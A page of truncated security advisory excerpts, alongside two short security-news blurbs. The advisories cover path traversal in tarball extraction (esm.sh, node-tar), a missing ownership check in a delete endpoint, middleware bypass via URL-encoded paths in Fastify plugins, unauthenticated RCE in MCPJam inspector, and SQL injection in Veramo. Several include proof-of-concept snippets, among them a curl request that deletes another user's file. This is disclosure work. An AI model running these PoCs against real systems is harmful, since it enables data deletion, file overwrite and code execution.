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### Summary The [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file. ### PoC This test file can demonstrate the basic idea pretty easily: ```go package server import ( "archive/tar" "bytes" "compress/gzip" "testing" ) // TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function // with a malicious tarball containing a path traversal attempt func TestExtractPackageTarball_PathTraversal(t *testing.T) { // Create a temporary directory for testing installDir := "./testdata/good" // Create a malicious tarball with path traversal var buf bytes.Buffer gw := gzip.NewWriter(&buf) tw := tar.NewWriter(gw) // Add a normal file content := []byte("export const foo = 'bar';") header := &tar.Header{ Name: "package/index.js", Mode: 0644, Size: int64(len(cont...

### Summary `knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership. ### Details `userId` filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID. ### PoC ``` ATTACKER_TOKEN="xx" VICTIM_KB="kb_tuLBfskdDN1r" VICTIM_FILE="file_v5wCNLqSaoPp" curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}' ``` Response: `{"result":{"data":{"json":{"command":"DELETE","rowCount":1,"oid":null,"rows":[],"fields":[]}}}}` ### Impact An attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc. Wh...

### Summary A security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. ### Details The vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths. ### PoC **Step 1:** Run the following Fastify application (save as `app.js`): ```javascript const fastify = require('fastify')({ logger: true }); async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express')); // Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end...

### Summary A security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. ### Details The vulnerability is caused by how `middie` matches requests against registered middleware paths. 1. **Regex Generation**: When [fastify.use('/admin', ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`. 2. **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`). 3. **The Flaw**: `r...

Leaked API keys are no longer unusual, nor are the breaches that follow. So why are sensitive tokens still being so easily exposed? To find out, Intruder’s research team looked at what traditional vulnerability scanners actually cover and built a new secrets detection method to address gaps in existing approaches.  Applying this at scale by scanning 5 million applications revealed over

In cybersecurity, the line between a normal update and a serious incident keeps getting thinner. Systems that once felt reliable are now under pressure from constant change. New AI tools, connected devices, and automated systems quietly create more ways in, often faster than security teams can react. This week’s stories show how easily a small mistake or hidden service can turn into a real

### Summary The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets. ### Details The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods. **1. Hardlink Escape (Arbitrary File Overwrite)** The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path. The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the h...

### Summary MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. This vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request. ### Details MCPJam inspector binds to `0.0.0.0` making its HTTP APIs remotely reachable. ``` TypeScript const server = serve({ fetch: app.fetch, port: SERVER_PORT, hostname: "0.0.0.0", }); ``` The `/api/mcp/connect` API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. Whe...

### Summary Originally reported as an issue #2613 but should be elevated to a security issue as the ExecutionContext is often used to pass authentication tokens from incoming requests to services loading data from backend APIs. ### Details When 2 or more parallel requests are made which trigger the same service, the context of the requests is mixed up in the service when the context is injected via `@ExecutionContext()` ### PoC In a new project/folder, create and install the following `package.json`: ```json { "name": "GHSA-53wg-r69p-v3r7", "scripts": { "test": "jest" }, "dependencies": { "graphql-modules": "2.4.0" }, "devDependencies": { "@babel/plugin-proposal-class-properties": "^7.18.6", "@babel/plugin-proposal-decorators": "^7.28.6", "babel-plugin-parameter-decorator": "^1.0.16", "jest": "^29.7.0", "reflect-metadata": "^0.2.2" } } ``` with: ``` npm i ``` configure `babel.config.json` using: ```json { "plugins": [ ["@babel/plu...

## Summary An SQL injection vulnerability exists in the `@veramo/data-store` package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the `column` parameter in the `order` array of query requests. ## Details `packages/data-store/src/data-store-orm.ts` (lines 416-434) The vulnerability exists in the `decorateQB()` function which processes query ordering parameters: ```typescript function decorateQB( qb: SelectQueryBuilder<any>, tableName: string, input: FindArgs<any>, ): SelectQueryBuilder<any> { if (input?.skip) qb = qb.offset(input.skip) if (input?.take) qb = qb.limit(input.take) if (input?.order) { for (const item of input.order) { qb = qb.addSelect( qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column), item.column, ) qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction) } ...